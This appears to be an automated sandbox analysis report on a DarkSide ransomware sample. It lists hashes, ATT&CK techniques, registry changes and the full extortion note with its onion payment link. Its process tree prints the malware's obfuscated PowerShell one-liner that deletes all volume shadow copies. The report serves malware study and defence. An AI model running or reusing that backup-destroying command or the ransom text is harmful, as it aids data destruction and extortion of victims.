darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

28-07-2024 16:38

240728-t5tryssgmm 10

07-07-2024 14:07

240707-rfgd8atekm 10

07-07-2024 14:07

240707-re689awdpe 10

13-09-2022 17:54

220913-wg1lpsgbg7 10

Analysis

max time kernel
36s
max time network
44s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
28-07-2024 16:38

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General

Target

RansomwareSamples/DarkSide_01_05_2021_30KB.exe
Size

30KB
MD5

f00aded4c16c0e8c3b5adfc23d19c609
SHA1

86ca4973a98072c32db97c9433c16d405e4154ac
SHA256

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
SHA512

a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf
SSDEEP

768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\Users\Admin\README.b77a682a.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (154) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral17/memory/2556-0-0x0000000000B60000-0x0000000000B77000-memory.dmp	upx
behavioral17/memory/2556-48-0x0000000000B60000-0x0000000000B77000-memory.dmp	upx
behavioral17/memory/2556-244-0x0000000000B60000-0x0000000000B77000-memory.dmp	upx
behavioral17/memory/2556-245-0x0000000000B60000-0x0000000000B77000-memory.dmp	upx
behavioral17/memory/2556-284-0x0000000000B60000-0x0000000000B77000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2592	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\b77a682a.BMP"	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\b77a682a.BMP"	DarkSide_01_05_2021_30KB.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_01_05_2021_30KB.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_01_05_2021_30KB.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\b77a682a	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\b77a682a\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\b77a682a.ico"	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.b77a682a	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.b77a682a\ = "b77a682a"	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\b77a682a\DefaultIcon	DarkSide_01_05_2021_30KB.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2592	powershell.exe
2556	DarkSide_01_05_2021_30KB.exe
2556	DarkSide_01_05_2021_30KB.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeSecurityPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeTakeOwnershipPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeLoadDriverPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeSystemProfilePrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeSystemtimePrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeProfSingleProcessPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeIncBasePriorityPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeCreatePagefilePrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeBackupPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeRestorePrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeShutdownPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeDebugPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeSystemEnvironmentPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeRemoteShutdownPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeUndockPrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: SeManageVolumePrivilege	2556	DarkSide_01_05_2021_30KB.exe
Token: 33	2556	DarkSide_01_05_2021_30KB.exe
Token: 34	2556	DarkSide_01_05_2021_30KB.exe
Token: 35	2556	DarkSide_01_05_2021_30KB.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeBackupPrivilege	3012	vssvc.exe
Token: SeRestorePrivilege	3012	vssvc.exe
Token: SeAuditPrivilege	3012	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2592	2556	DarkSide_01_05_2021_30KB.exe	30
PID 2556 wrote to memory of 2592	2556	DarkSide_01_05_2021_30KB.exe	30
PID 2556 wrote to memory of 2592	2556	DarkSide_01_05_2021_30KB.exe	30
PID 2556 wrote to memory of 2592	2556	DarkSide_01_05_2021_30KB.exe	30

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
d9ed20126a7ce73632e80090dfa6d744

SHA1
ccb251335adc910eb7437b8e83e3c216b053df37

SHA256
566d47d224ff248be4e94d66df0934167dda7fd129228ec13a19bf9b4713731c

SHA512
3609267c3fe69642e59527f67c38369793365943777715f07a66aaacd1e5a30c91fefce66106afe0ed996ce5677a694b3ae58c058ba924205507896b3c146d1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4971.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar49A3.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9d57aee5a20d538519285afa6bfe2a47

SHA1
264bf62f85431714c4ad638108b75826d11b5162

SHA256
a469c660dfc226d2ab1ed8520f63bc5d187948b58cc39ebe63ea00a45a7cff1f

SHA512
b8671a43a2498dbb709dea7d3e333aa8eb7de9cdd6573e6fb56ead6ae3f4f010e27ca49baa1a1a41968a787b197a16c997b1d7304e66e7ffabfd64082598e8f2

Download Submit
C:\Users\Admin\README.b77a682a.TXT

Filesize
1KB

MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/2556-48-0x0000000000B60000-0x0000000000B77000-memory.dmp

Filesize
92KB

Download
memory/2556-284-0x0000000000B60000-0x0000000000B77000-memory.dmp

Filesize
92KB

Download
memory/2556-245-0x0000000000B60000-0x0000000000B77000-memory.dmp

Filesize
92KB

Download
memory/2556-244-0x0000000000B60000-0x0000000000B77000-memory.dmp

Filesize
92KB

Download
memory/2556-0-0x0000000000B60000-0x0000000000B77000-memory.dmp

Filesize
92KB

Download
memory/2592-45-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2592-47-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2592-49-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2592-46-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2592-44-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2592-43-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2592-42-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2592-41-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

Filesize
2.9MB

Download
memory/2592-40-0x000007FEF57CE000-0x000007FEF57CF000-memory.dmp

Filesize
4KB

Download